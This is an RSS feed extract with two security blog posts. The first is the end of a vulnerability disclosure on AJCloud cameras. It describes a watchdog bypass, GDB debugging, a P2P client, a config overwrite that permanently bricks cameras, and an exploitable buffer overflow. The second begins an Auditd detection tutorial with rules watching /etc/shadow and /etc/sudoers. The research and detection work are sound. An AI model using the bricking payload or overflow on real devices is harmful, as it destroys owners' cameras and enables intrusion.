<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltbb7c9b2e4e8b05fd/6a7d84dc63e959206073aefd/image22.png" alt="" /></p>
<p>The main purpose of P2P is to facilitate communication between applications and IoT devices, regardless of the network configurations involved. P2P primarily utilizes an approach based around <a href="https://en.wikipedia.org/wiki/UDP_hole_punching">UDP hole punching</a> to create temporary communication pathways that allow requests to reach their target either directly or through a relay server located in a more accessible network environment. The core set of P2P commands integrated into AJCloud’s apps provides access to video and audio streams as well as the microphone and pan/tilt/zoom.</p>
<h2 id="advancedhardwarehacking">Advanced Hardware Hacking</h2>
<p>With our additional understanding of the P2P communications, it was now time to examine the camera itself more closely during these P2P conversations, including running the camera software in a debugger. To start, we set up the camera with a live logging output via the UART serial connection that we established earlier, shown below.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt0ff7817bf47b95c7/6a7d84e0e88c65eade0089c8/image5.png" alt="" /></p>
<p>This provided a live look at the log messages from the applications as well as any additional logging sources we needed. From this information, we identified the primary binary that is used to establish communication between the camera and the cloud as well as providing the interfaces to access the camera via P2P. </p>
<p>This binary is locally called initApp, and it runs once the camera has been fully initialized and the boot sequence is completed. Given this, we set out to run this binary with a debugger to better evaluate the local functions. In attempting to do so, we encountered a kernel watchdog that detected when initApp was not running and would forcibly restart the camera if it detected a problem. This watchdog checks for writes to <code>/dev/watchdog</code> and, if these writes cease, will trigger a timer that will reboot the camera if the writes do not resume. This makes debugging more difficult as when one pauses the execution of initApp, the writes to the watchdog pause as well. An example of this stopping behavior is shown below:</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt2017fe1d44596ee7/6a7d84e2c2e9143d8f013d03/image18.png" alt="" /></p>
<p>To avoid this, one could simply try writing to the watchdog whenever initApp stops to prevent the reboot. However, another cleaner option is to make use of the magic close feature of the <a href="https://www.kernel.org/doc/Documentation/watchdog/watchdog-api.txt">Linux Kernel Watchdog Driver API</a>. In short, if one writes a specific magic character ‘V’ <code>/dev/watchdog</code> the watchdog will be disabled. There are other methods of defeating the watchdog as well, but this was the one we chose for our research as it makes it easy to enable and disable the watchdog at will.</p>
<p>With the watchdog disabled, setting up to debug initApp is fairly straightforward. We wanted to run the code directly on the camera, if possible, instead of using an emulator. The architecture of the camera is Little Endian MIPS (MIPSEL). We were fortunate that pre-built GDB and GDBServer binaries were able to function without modification; however, we did not know this initially, so we also set up a toolchain to compile GDBServer specifically for the camera. One technique that might be useful if you find yourself in a similar situation is to use a compilation tool like gcc to compile some source code to your suspected target architecture and see if it runs; see the example below.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt151b86e050483ad5/6a7d84cd6693f8386a6610e0/image25.png" alt="" /></p>
<p>In our case, since our SoC was known to us, we were fairly certain of the target architecture; however, in certain situations, this may not be so simple to discover, and working from hello world binaries can be useful to establish an initial understanding. Once we were able to compile binaries, we then compiled GDBServer for our camera and then used it to attach and launch initApp. Then, we connected to it from another computer on the same local network as the camera. An example of this is shown below:</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt26f7767f9c3d8084/6a7d84e61967eab2ab32d904/image7.png" alt="" /></p>
<p>As a note for the above example, we are using the <code>-x</code> parameter to pass in some commands for convenience, but they are not necessary for debugging. For more information on any of the files or commands, please see our <a href="https://github.com/elastic/camera-hacks/tree/main">elastic/camera-hacks</a> GitHub repo. In order for initApp to load properly, we also needed to ensure that the libraries used by the binary were accessible via the <code>PATH</code> and <code>LD_LIBARY_PATH</code> environment variables. With this setup, we were then able to debug the binary as we needed. Since we also used the magic character method of defeating the watchdog earlier we also will need to make sure to control instances where the watchdog can be re-enabled. In most cases, we do not want this to happen. As such, we overwrote the watchdog calls in initApp so that the watchdog would not be re-enabled while we were debugging, as shown below.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blte4cf023057693b27/6a7d84e9bdcff083d5c400bf/image3.png" alt="" /></p>
<p>The following video shows the full setup process from boot to running GDBServer. In the video, we also start a new initApp process, and as such, we need to kill both the original process and the <code>daemon.sh</code> shell script that will spawn a new initApp process if it is killed.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltf002cd74b369ed62/6a7d84edea068d6fb4f0727e/video1.gif" alt="" /></p>
<h2 id="buildingap2pclient">Building a P2P Client</h2>
<p>In order to further explore the full extent of capabilities which P2P provides to AJCloud IoT devices and how they can be abused by attackers, we set out to build our own standalone client. This approach would remove the overhead of manipulating the Wansview Cloud Windows app while allowing us to more rapidly connect to cameras and test out commands we derive from reverse engineering the firmware.</p>
<p>From the configuration data we obtained earlier from the Windows app logs, we knew that a client issues requests to up to three different servers as part of the connection process. These servers provide instructions to clients as to where traffic should be routed in order to access a given camera. If you would like to discover more of these servers out in the open, you can scan the Internet using the following four-byte UDP payload on port <code>60722</code>. Paul Marrapese used this technique to great effect as part of his research.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt2171ae32a42d59a5/6a7d84f0dd26d222142a72af/image34.png" alt="" /></p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt3e826b244e383f2f/6a7d84f36693f827ec6610f0/image6.png" alt="" /></p>
<p>In order to properly establish a P2P connection, a client must first send a simple hello message (<code>MSG_HELLO</code>), which needs to be ACK’d (<code>MSG_HELLO_ACK</code>) by a peer-to-peer server. The client then queries the server (<code>MSG_P2P_REQ</code>) for a particular deviceId. If the server is aware of that device, then it will respond (<code>MSG_PUNCH_TO</code>) to the client with a target IP address and UDP port number pair. The client will then attempt to connect (<code>MSG_PUNCH_PKT</code>) to the IP and port pair along with other ports <a href="https://github.com/elastic/camera-hacks/blob/deb2abe9a7a1009c5c1b7d34584f143d5b62c82e/p2p/p2p_client.py#L247-L260">within a predetermined range</a> as part of a <a href="https://en.wikipedia.org/wiki/UDP_hole_punching">UDP hole punching</a> routine. If successful, the target will send a message (<code>MSG_PUNCH_PKT</code>) back to the client along with a final message (<code>MSG_P2P_RDY</code>) to confirm that the connection has been established.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltd5097b2839429920/6a7d84f62f00b21c97efbf54/image28.gif" alt="" /></p>
<p>After connecting to a camera, we are primarily interested in sending different <code>MSG_DRW</code> packets and observing their behavior. These packets contain commands which will allow us to physically manipulate the camera, view and listen to its video and audio streams, access data stored within it, or alter its configuration. The most straightforward command we started with involved panning the camera counter clockwise, which we could easily identify as a single message transmission.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt8777cc6fa26d8d73/6a7d84f9227b1c709f595874/image30.png" alt="" /></p>
<p>Debug log messages on the camera allowed us to easily locate where this command was processed within the firmware.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt1c8469fcd90f928b/6a7d84fcead8eccde1ba7ba0/image20.png" alt="" /></p>
<p>Locating the source of this particular message placed us in the main routine which handles processing MSG_DRW messages, which provided us with critical insight into how this command is invoked and what other commands are supported by the firmware.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltc6ac116a2a8973bc/6a7d84fe42a11733b6959196/image14.png" alt="" /></p>
<p>Extensive reverse engineering and testing allowed us to build a <a href="https://github.com/elastic/camera-hacks/blob/main/p2p/p2p_client.py">PoC P2P client</a> which allows users to connect to any camera on the AJCloud platform, provided they have access to its deviceId. Basic commands supported by the client include camera panning and tilting, rebooting, resetting, playing audio clips, and even crashing the firmware.</p>
<p>The most dangerous capability we were able to implement was through a command which modifies a core device configuration file: <code>/var/syscfg/config_default/app_ajy_sn.ini</code>. On our test camera, the file’s contents were originally as follows:</p>
<pre><code>[common]
product_name=Q5
model=NAV
vendor=WVC
serialnum=WVCD7HUJWJNXEKXF
macaddress=
wifimacaddress=
</code></pre>
<p>While this appears to contain basic device metadata, this file is the only means through which the camera knows how to identify itself. Upon startup, the camera reads in the contents of this file and then attempts to connect to the AJCloud platform through a series of curl requests to various API endpoints. These curl requests pass along the product name, camera model, vendor code, and serial number values extracted from the INI file as query string arguments. We used our client to deliver a message which overwrites the contents like so:</p>
<pre><code>[common]
product_name=
model=OPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~HH01
vendor=YZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~HH01
serialnum=defghijklmnopqrstuvwxyz{|}~HH01
macaddress=
wifimacaddress=
</code></pre>
<p>After the camera is reset, all curl requests issued to AJCloud platform API endpoints as part of the startup routine will fail due to the malformed data contained within the INI file. These requests will continue to periodically be sent, but they will never succeed and the camera will remain inactive and inaccessible through any apps. Unfortunately, there is no simple way to restore the previous file contents through resetting the camera, updating its firmware, or restoring the factory settings. File modifications carried out through this command will effectively brick a camera and render it useless.</p>

<p>Taking a closer look at the decompiled function (<code>syscfg_setAjySnParams</code>) which overwrites the values stored in <code>app_ajy_sn.ini</code>, we can see that input parameters, extracted from the <code>MSG_DRW</code> command are used to pass along string data which will be used to overwrite the model, vendor, and serial number fields in the file. memset is used to overwrite three global variables, intended to store these input strings, with null bytes. strcpy is then used to transfer the input parameters into these globals. In each instance, this will result in bytes being copied directly from the <code>MSG_DRW</code> command buffer until it encounters a null character.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt9b72e59aed550c35/6a7d85014c4bfb73ddcca8a4/image21.png" alt="" /></p>
<p>Because no validation is enforced on the length of these input parameters extracted from the command, it is trivial to craft a message of sufficient length which will trigger a buffer overflow. While we did not leverage this vulnerability as part of our attack to brick the camera, this appears to be an instance where an exploit could be developed which would allow for an attacker to achieve remote code execution on the camera.</p>
<h2 id="impact">Impact</h2>
<p>We have confirmed that a broad range of devices across several vendors affiliated with AJCloud and several different firmware versions are affected by these vulnerabilities and flaws. Overall, we successfully demonstrated our attacks against fifteen different camera products from Wansview, Galayou, Cinnado, and Faleemi. Based on our findings, it is safe to assume that all devices which operate AJCloud firmware and connect to the AJCloud platform are affected.</p>
<p>All attempts to contact both AJCloud and Wansview in order to disclose these vulnerabilities and flaws were unsuccessful.</p>
<h2 id="whatdidthevendorsdoright">What did the vendors do right?</h2>
<p>Despite the vulnerabilities we discovered and discussed previously, there are a number of the security controls that AJCloud and the camera vendors implemented well. For such a low cost device, many best practices were implemented. First, the network communications are secured well using certificate based WebSocket authentication. In addition to adding encryption, putting many of the API endpoints behind the certificate auth makes man in the middle attacks significantly more challenging. Furthermore, the APKs for the mobile apps were signed and obfuscated making manipulating these apps very time consuming. </p>
<p>Additionally, the vendors also made some sound decisions with the camera hardware and firmware. The local OS for the camera is effectively limited, focusing on just the needed functionality for their product. The file system is configured to be read only, outside of logging, and the kernel watchdog is an effective method of ensuring uptime and reducing risk of being stuck in a failed state. The Ingenic Xburst T31 SoC, provides a capable platform with a wide range of support including secure boot, a Power-On Reset (POR) watchdog, and a separate RISC-V processor capable of running some rudimentary machine learning on the camera input.</p>
<h2 id="whatdidthevendorsdowrong">What did the vendors do wrong?</h2>
<p>Unfortunately, there were a number of missed opportunities with these available features. Potentially the most egregious is the unauthenticated cloud access. Given the API access controls established for many of the endpoints, having the camera user access endpoints available via serial number without authentication is a huge and avoidable misstep. The P2P protocol is also vulnerable as we showcased, but compared to the API access which should be immediately fixable, this may take some more time to fix the protocol. It is a very dangerous vulnerability, but it is a little bit more understandable as it requires considerably more time investment to both discover and fix. </p>
<p>From the application side, the primary issue is with the Windows app which has extensive debug logging which should have been removed before releasing publicly. As for the hardware, it can be easily manipulated with physical access (exposed reset button, etc.). This is not so much an issue given the target consumer audience. It is expected to err on the side of usability rather than security, especially given physical access to the device. On a similar note, secure boot should be enabled, especially given that the T31 SoC supports it. While not strictly necessary, this would make it much harder to debug the source code and firmware of the device directly, making it more difficult to discover vulnerabilities that may be present. Ideally it would be implemented in such a way that the bootloader could still load an unsigned OS to allow for easier tinkering and development, but would prevent the signed OS from loading until the boot loader configuration is restored. However, one significant flaw in the current firmware is the dependence on the original serial number that is not stored in a read only mount point while the system is running. Manipulating the serial number should not permanently brick the device. It should either have a mechanism for requesting a new serial number (or restoring its original serial number) should its serial number be overwritten, or the serial number should be immutable. </p>
<h2 id="mitigations">Mitigations</h2>
<p>Certain steps can be taken in order to reduce the attack surface and limit potential adverse effects in the event of an attack, though they vary in their effectiveness.</p>
<p>Segmenting Wi-Fi cameras and other IoT devices off from the rest of your network is a highly recommended countermeasure which will prevent attackers from pivoting laterally to more critical systems. However, this approach does not prevent an attacker from obtaining sensitive user data through exploiting the access control vulnerability we discovered in the AJCloud platform. Also, considering the ease in which we were able to demonstrate how cameras could be accessed and manipulated remotely via P2P, any device connected to the AJCloud platform is still at significant risk of compromise regardless of its local network configuration.</p>
<p>Restricting all network communications to and from these cameras would not be feasible due to how essential connectivity to the AJCloud platform is to their operation. As previously mentioned, the devices will simply not operate if they are unable to connect to various API endpoints upon startup.</p>
<p>A viable approach could be restricting communications beyond the initial startup routine. However, this would prevent remote access and control via mobile and desktop apps, which would defeat the entire purpose of these cameras in the first place. For further research in this area, please refer to “<a href="https://petsymposium.org/popets/2021/popets-2021-0075.pdf">Blocking Without Breaking: Identification and Mitigation of Non-Essential IoT Traffic</a>”, which explored this approach more in-depth across a myriad of IoT devices and vendors.</p>
<p>The best approach to securing any Wi-Fi camera, regardless of vendor, while maintaining core functionality would be to flash it with alternative open source firmware such as <a href="https://openipc.org">OpenIPC</a> or <a href="https://thingino.com">thingino</a>. Switching to open source firmware avoids the headaches associated with forced connectivity to vendor cloud platforms by providing users with fine grain control of device configuration and remote network accessibility. Open access to the firmware source helps to ensure that critical flaws and vulnerabilities are quickly identified and patched by diligent project contributors.</p>
<h2 id="keytakeaways">Key Takeaways</h2>
<p>Our research revealed several critical vulnerabilities that span all aspects of cameras operating AJCloud firmware which are connected to their platform. Significant flaws in access control management on their platform and the PPPP peer protocol provides an expansive attack surface which affects millions of active devices across the world. Exploiting these flaws and vulnerabilities leads to the exposure of sensitive user data and provides attackers with full remote control of any camera connected to the AJCloud platform. Furthermore, a built-in P2P command, which intentionally provides arbitrary write access to a key configuration file, can be leveraged to either permanently disable cameras or facilitate remote code execution through triggering a buffer overflow.</p>
<p>Please visit our <a href="https://github.com/elastic/camera-hacks">GitHub repository</a> for custom tools and scripts we have built along with data and notes we have captured which we felt would provide the most benefit to the security research community.</p>]]></content:encoded>
    <link>https://www.elastic.co/security-labs/blog/storm-on-the-horizon</link>
    <guid isPermaLink="false">storm-on-the-horizon</guid>
    <category><![CDATA[Threat Hunting]]></category>
    <dc:creator><![CDATA[Mark Mager,Eric Forte]]></dc:creator>
    <enclosure url="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt2979aa649ffff9aa/6a7d850433fa8a42d41ff9de/storm-on-the-horizon.jpg" length="0" type="image/jpeg"/>
    <pubDate>Fri, 20 Sep 2024 00:00:00 GMT</pubDate>
  </item>
  <item>
    <title><![CDATA[Linux detection engineering with Auditd]]></title>
    <description><![CDATA[In this article, learn more about using Auditd and Auditd Manager for detection engineering.]]></description>
    <content:encoded><![CDATA[<h2 id="introduction">Introduction</h2>
<p>Unix and Linux systems operate behind the scenes, quietly underpinning a significant portion of our technological infrastructure. With the increasing complexity of threats targeting these systems, ensuring their security has become more important than ever.</p>
<p>One of the foundational tools in the arsenal of security detection engineers working within Unix and Linux systems is <a href="https://linux.die.net/man/8/auditd">Auditd</a>. This powerful utility is designed for monitoring and recording system events, providing a detailed audit trail of who did what and when. It acts as a watchdog, patrolling and recording detailed information about system calls, file accesses, and system changes, which are crucial for forensic analysis and real-time monitoring.</p>
<p>The objective of this article is multifaceted:</p>
<ol>
<li>We aim to provide additional information regarding Auditd, showcasing its capabilities and the immense power it holds in security detection engineering.</li>
<li>We will guide you through setting up Auditd on your own systems, tailoring it to meet your specific monitoring needs. By understanding how to create and modify Auditd rules, you will learn how to capture the exact behavior you're interested in monitoring and interpret the resulting logs to create your own detection rules.</li>
<li>We'll introduce Auditd Manager, an integration tool that enhances Auditd’s utility by simplifying the management of Auditd across systems.</li>
</ol>
<p>By the end of this post, you'll not only learn how to employ Auditd Manager to incorporate some of our <a href="https://github.com/elastic/detection-rules/tree/main/rules">pre-built detection rules</a> into your security strategy, but also gain a comprehensive understanding of Auditd and how to leverage it to build your own detection rules as well.</p>
<h2 id="introductiontoauditd">Introduction to Auditd</h2>
<p>Auditd is a Linux tool designed for monitoring and recording system events to provide a comprehensive audit trail of user activities, system changes, and security access. Auditd operates by hooking into the Linux kernel, capturing detailed information about system calls and other system events as they happen. These events are then logged to a file, providing a timestamped record. Administrators can define rules that specify which events to log, offering the flexibility to focus on specific areas of interest or concern. The logged data can be used for a variety of purposes, from compliance auditing to detailed forensic analysis.</p>
<h2 id="auditdsetup">Auditd setup</h2>
<p>To get started with Auditd, Elastic provides several options:</p>
<ul>
<li><a href="https://www.elastic.co/guide/en/beats/auditbeat/current/auditbeat-module-auditd.html">Auditbeat’s Auditd module</a></li>
<li><a href="https://www.elastic.co/guide/en/beats/filebeat/current/filebeat-module-auditd.html">Filebeat’s Auditd module</a></li>
<li><a href="https://docs.elastic.co/en/integrations/auditd">Elastic Agent’s Auditd Logs integration</a></li>
<li><a href="https://docs.elastic.co/integrations/auditd_manager">Elastic Agent’s Auditd Manager integration</a></li>
</ul>
<p>In this article, we will focus on the latter two, leveraging the <a href="https://www.elastic.co/elastic-agent">Elastic Agent</a> to easily ingest logs into Elasticsearch. If you are new to Elasticsearch you can easily create an <a href="https://www.elastic.co/cloud">Elastic Cloud Account</a> with a 30-day trial license, or for local testing, you can download The <a href="https://github.com/peasead/elastic-container">Elastic Container Project</a> and set the license value to trial in the .env file.</p>
<p>Feel free to follow along using Auditbeat or Filebeat - for setup instructions, consult the documentation linked above. As the Auditd Logs integration works by parsing the audit.log file, you are required to install Auditd on the Linux host from which you wish to gather the logs. Depending on the Linux distribution and the package manager of choice, the Auditd package should be installed, and the Auditd service should be started and enabled. For Debian-based distributions:</p>
<pre><code>sudo apt update
sudo apt install auditd
sudo systemctl start auditd
sudo systemctl enable auditd
</code></pre>
<p>The <code>/var/log/audit/audit.log</code> file should now be populated with Auditd logs. Next, you need to install the Auditd Logs integration, create an agent policy in Fleet with the newly installed integration, and apply the integration to a compatible Elastic Agent with Auditd installed. </p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt99807d01758170bd/6a7d82a4de23154ffdfd4e66/image24.png" alt="Auditd Logs integration page in Elastic" title="Auditd Logs integration page in Elastic" /></p>
<p>The default settings should suffice for most scenarios. Next, you need to add the integration to an agent policy, and add the agent policy to the Elastic Agents from which you want to harvest data. The Elastic Agent ships the logs to the logs-auditd.log-[namespace] datastream. You can now <a href="https://www.elastic.co/guide/en/kibana/current/data-views.html">create a new data view</a> to only match our incoming Auditd logs.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltf967f549ccfe65f2/6a7d82a62f00b298e9efbf1b/image33.png" alt="New data view" title="New data view" /></p>
<p>You can now explore the ingested Auditd logs. But as you will quickly notice, Auditd does not log much by default – you must leverage Auditd rules to unlock its full potential.</p>
<h2 id="auditdrules">Auditd rules</h2>
<p>Auditd rules are directives used to specify which system activities to monitor and log, allowing for granular control over the security auditing process. These rules are typically configured in the <code>/etc/audit/audit.rules</code> file. Auditd rules come in 3 varieties: <code>control</code>, <code>file</code>, and <code>syscall</code>. More information can be found <a href="https://linux.die.net/man/7/audit.rules">here</a>. </p>
<h3 id="controltyperules">Control type rules</h3>
<p>The control type is, in most cases, used to configure Auditd rather than specifying the events to monitor. By default, the audit rules file contains the following control type settings:</p>
<pre><code>-D
-b 8192
-f 1
--backlog_wait_time 60000
</code></pre>
<ul>
<li><code>-D</code>: delete all rules on launch (Auditd parses the rules in the file from top to bottom. Removing all rules on launch ensures a clean configuration).</li>
<li><code>-b 8192</code>: set the maximum amount of existing Audit buffers in the kernel.</li>
<li><code>-f 1</code>: set the failure mode of Auditd to log.</li>
<li><code>--backlog_wait_time 60000</code>: specify the amount of time (in ms) that the audit system will wait if the audit backlog limit is reached before dropping audit records.</li>
</ul>
<h3 id="filesystemrules">File System Rules</h3>
<p>Building upon these default control type settings, you can create file system rules, sometimes referred to as watches. These rules allow us to monitor files of interest for read, write, change and execute actions. A typical file system rule would look as follow:</p>
<pre><code>-w [path-to-file] -p [permissions] -k [keyname]
</code></pre>
<ul>
<li><code>-w</code>: the path to the file or directory to monitor.</li>
<li><code>-p</code>: any of the read (r), write (w), execute (e) or change (a) permissions.</li>
<li><code>-k</code>: the name of a key identifier that may be used to more easily search through the auditd logs.</li>
</ul>
<p>In case you want to monitor the <code>/etc/shadow</code> file for file reads, writes, and changes, and save any such events with a key named shadow_access, you could setup the following rule:</p>
<pre><code>-w /etc/shadow -p rwa -k shadow_access
</code></pre>
<h3 id="systemcallrules">System call rules</h3>
<p>Auditd’s true power is revealed when working with its system call rules. Auditd system call rules are configurations that specify which system calls (syscalls) to monitor and log, allowing for detailed tracking of system activity and interactions with the operating system kernel. As each syscall is intercepted and matched to the rule, it is important to leverage this functionality with care by only capturing the syscalls of interest and, when possible, capturing multiple of these syscalls in one rule. A typical syscall rule would look like this:</p>
<pre><code>-a [action],[filter] -S [syscall] -F [field=value] -k [keyname]
</code></pre>
<p>You may leverage the <code>-a</code> flag followed by <code>action,filter</code> to choose when an event is logged, where <code>action</code> can be <code>always</code> (always create an event) or <code>never</code> (never create an event).</p>
<p>filter can be any of:</p>
<ul>
<li><code>task</code>:  logs task creation events.</li>
<li><code>entry</code>:  logs syscall entry points.</li>
<li><code>exit</code>:  logs syscall exits/results.</li>
<li><code>user</code>:  logs user-space events.</li>
<li><code>exclude</code>:  excludes events from logging.</li>
</ul>
<p>Next, you have:</p>
<ul>
<li><code>-S</code>: the syscall that you are interested in (name or syscall number).</li>
<li><code>-F</code>: one or more filters to choose what to match against.</li>
<li><code>-k</code>: the key identifier.</li>
</ul>
<p>With the information provided above, you should be able to understand the basics of most Auditd rules. For more information and examples of what values can be added to these rules, feel free to read more <a href="https://linux.die.net/man/7/audit.rules">here</a>.</p>
<p>Getting started building and testing a comprehensive and dedicated Auditd rule file for your organization might seem daunting. Luckily, there are some good public rule file examples available on GitHub. A personal favorite template to build upon is <a href="https://github.com/Neo23x0/auditd/blob/master/audit.rules">Neo23x0’s</a>, which is a good balance between visibility and performance. </p>
<p>One downside of using the Auditd Logs integration is that you manually need to install Auditd on each host that you want to monitor, and apply the rules file manually to each running Auditd instance. This means that every time you want to update the rules file, you will have to update it on all of the hosts. Nowadays, many organizations leverage management tools that can make this process less time consuming. However, Elastic also provides another way of ingesting Auditd logs through the Auditd Manager integration which alleviates the management burden. </p>
<h2 id="introductiontoauditdmanagerandsetup">Introduction to Auditd Manager and setup</h2>
<p>The Auditd Manager integration receives audit events from the <a href="https://github.com/torvalds/linux/blob/master/kernel/audit.c">Linux Audit Framework</a> that is a part of the Linux kernel. This integration establishes a subscription to the kernel to receive the events as they occur. The Linux audit framework can send multiple messages for a single auditable event. For example, a <code>rename()</code> syscall causes the kernel to send eight separate messages. Each message describes a different aspect of the activity that is occurring (the syscall itself, file paths, current working directory, process title). This integration will combine all of the data from each of the messages into a single event. More information regarding Auditd Manager can be found <a href="https://docs.elastic.co/integrations/auditd_manager">here</a>.</p>
<p>Additionally, Auditd Manager solves the management burden as it allows centralized management through <a href="https://www.elastic.co/guide/en/fleet/current/fleet-overview.html">Fleet</a>. An update to the integration will automatically be applied to all Elastic agents that are part of the changed agent policy. </p>
<p>Setting up the Auditd Manager integration is simple. You need to make sure that Auditd is no longer running on our hosts, by stopping and disabling the service.</p>
<pre><code>sudo systemctl stop auditd
sudo systemctl disable auditd
</code></pre>
<p>You can now remove the Auditd Logs integration from our agent policy, and instead install/add the Auditd Manager integration.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt01ee84fde71c50a1/6a7d82a98fc2d0eb203eb8d1/image30.png" alt="Auditd Manager integration in Elastic" title="Auditd Manager integration in Elastic" /></p>
<p>There are several options available for configuring the integration. Auditd Manager provides us with the option to set the audit config as immutable (similar to setting the <code>-e 2</code> control-type rule in the Auditd configuration), providing additional security in which unauthorized users cannot change the audit system, making it more difficult to hide malicious activity. </p>
<p>You can leverage the Resolve IDs functionality to enable the resolution of UIDs and GIDs to their associated names.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt4073ee5837b88c3f/6a7d82acdd26d2291e2a7287/image25.png" alt="Resolve IDs toggle" title="Resolve IDs toggle" /></p>
<p>For our Auditd rule management, you can either supply the rules in the Audit rules section, or leverage a rule file and specify the file path to read this file from. The rule format is similar to the rule format for the Auditd Logs integration. However, instead of supplying control flags in our rule file, you can set these options in the integration settings instead.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt0575373ac51aac02/6a7d82af4c4bfb0aa2cca873/image16.png" alt="Setting Auditd rules" title="Setting Auditd rules" /></p>
<p>Auditd Manager automatically purges all existing rules prior to adding any new rules supplied in the configuration, making it unnecessary to specify the <code>-D</code> flag in the rule file. Additionally, you can set our failure mode to <code>silent</code> in the settings, and therefore do not need to supply the <code>-f</code> flag either.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blte83d9884a80879e2/6a7d82b23cab1c4c070e1a24/image6.png" alt="Specifying failure mode" title="Specifying failure mode" /></p>
<p>You can set the backlog limit as well, which would be similar to setting the <code>-b</code> flag.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltea9b1376c950441f/6a7d82b4ead8ec4720ba7b60/image29.png" alt="Specifying the backlog limit" title="Specifying the backlog limit" /></p>
<p>There is also an option for setting the backpressure strategy, equivalent to the <code>--backlog_wait_time</code> setting.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltfc489661cb988071/6a7d82b7fc63ab7de6649fe2/image22.png" alt="Setting the backpressure strategy" title="Setting the backpressure strategy" /></p>
<p>Finally, check the option to preserve the original event, as this will allow you to analyze the event easier in the future.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltae9c273de252a896/6a7d82bae3a219500099c738/image19.png" alt="Preserve original event toggle" title="Preserve original event toggle" /></p>
<p>You can now save the integration, and apply it to the agent policy for the hosts from which you would like to receive Auditd logs.</p>
<h2 id="auditdrulefiletroubleshooting">Auditd rule file troubleshooting</h2>
<p>The rule file provided by Neo23x0 does not work for Auditd Manager by default. To get it to work, you will have to make some minor adjustments such as removing the control type flags, a UID to user conversion for a user that is not present on default systems, or a redundant rule entry. The changes that have to be made will ultimately be unique to your environment.</p>
<p>You have two ways of identifying the errors that will be generated when copy-pasting an incompatible file into the Auditd Manager integration. You can navigate to the agent that received the policy, and look at the integration input error. You can analyze the errors one by one, and change or remove the conflicting line.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt7e1cae0802ef95cf/6a7d82bdbdcff00558c40092/image11.png" alt="Integration input status logs" title="Integration input status logs" /></p>
<p>You can also use the <a href="https://www.elastic.co/guide/en/kibana/current/discover.html">Discover</a> tab, select our Auditd Manger data view, and filter for events where the <code>auditd.warnings</code> field exists, and go through the warnings one-by-one.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt97fec9caf2ac9bb3/6a7d82c0448e4ec0ac5bdb70/image14.png" alt="Auditd warnings in Discover" title="Auditd warnings in Discover" /></p>
<p>For example, you can see that the error states “unknown rule type” , which is related to Auditd not supporting control rules. The “failed to convert user ‘x’ to a numeric ID”, is related to the user not existing on the system. And finally, “rule ‘x’ is a duplicate of ‘x’”, is related to duplicate rules. Now that you removed the conflicting entries, and our agent status is healthy, you can start analyzing some Auditd data!</p>
<h2 id="analyzingauditdmanagerevents">Analyzing Auditd Manager events</h2>
<p>Now that you have Auditd Manager data available in our Elasticsearch cluster, just like you did before, you can create a dataview for the <code>logs-auditd_manager.auditd*</code> index to specifically filter this data. Our implemented rule file contains the following entry:</p>
<pre><code>-w /etc/sudoers -p rw -k priv_esc
</code></pre>
<p>This captures read and write actions for the <code>/etc/sudoers</code> file, and writes these events to a log with the <code>priv_esc</code> key. Let’s execute the <code>cat /etc/sudoers</code> command, and analyze the event. Let us first look at some of the fields containing general information.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt3f565241444f1515/6a7d82c36c6eac2c88f11382/image8.png" alt="Important fields within an event generated by Auditd Manager" title="Important fields within an event generated by Auditd Manager" /></p>
<p>You can see that the <code>/etc/sudoers</code> file was accessed by the <code>/usr/bin/cat</code> binary through the <code>openat()</code> syscall. As the file owner and group are <code>root</code>, and the user requesting access to this file is not UID 0 (root), the <code>openat()</code> syscall failed, which is represented in the log. Finally, you can see the tag that was linked to this specific activity. </p>
<p>Digging a bit deeper, you can identify additional information about the event.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt1d7838a0c5aa950d/6a7d82c6de2315e4bbfd4e6c/image28.png" alt="Important fields within an event generated by Auditd Manager" title="Important fields within an event generated by Auditd Manager" /></p>
<p>You can see the process command line that was executed, and which process ID and process parent ID initiated the activity. Additionally, you can see from what architecture the event originated and through which <code>tty</code> (terminal connected to standard input) the command was executed. </p>
<p>To understand the a0-3 values, you need to dig deeper into Unix syscalls. You should at this point be aware of what a syscall is, but to be complete, a Unix syscall (system call) is a fundamental interface that allows a program to request a service from the operating system's kernel, such as file operations, process control, or network communications.</p>
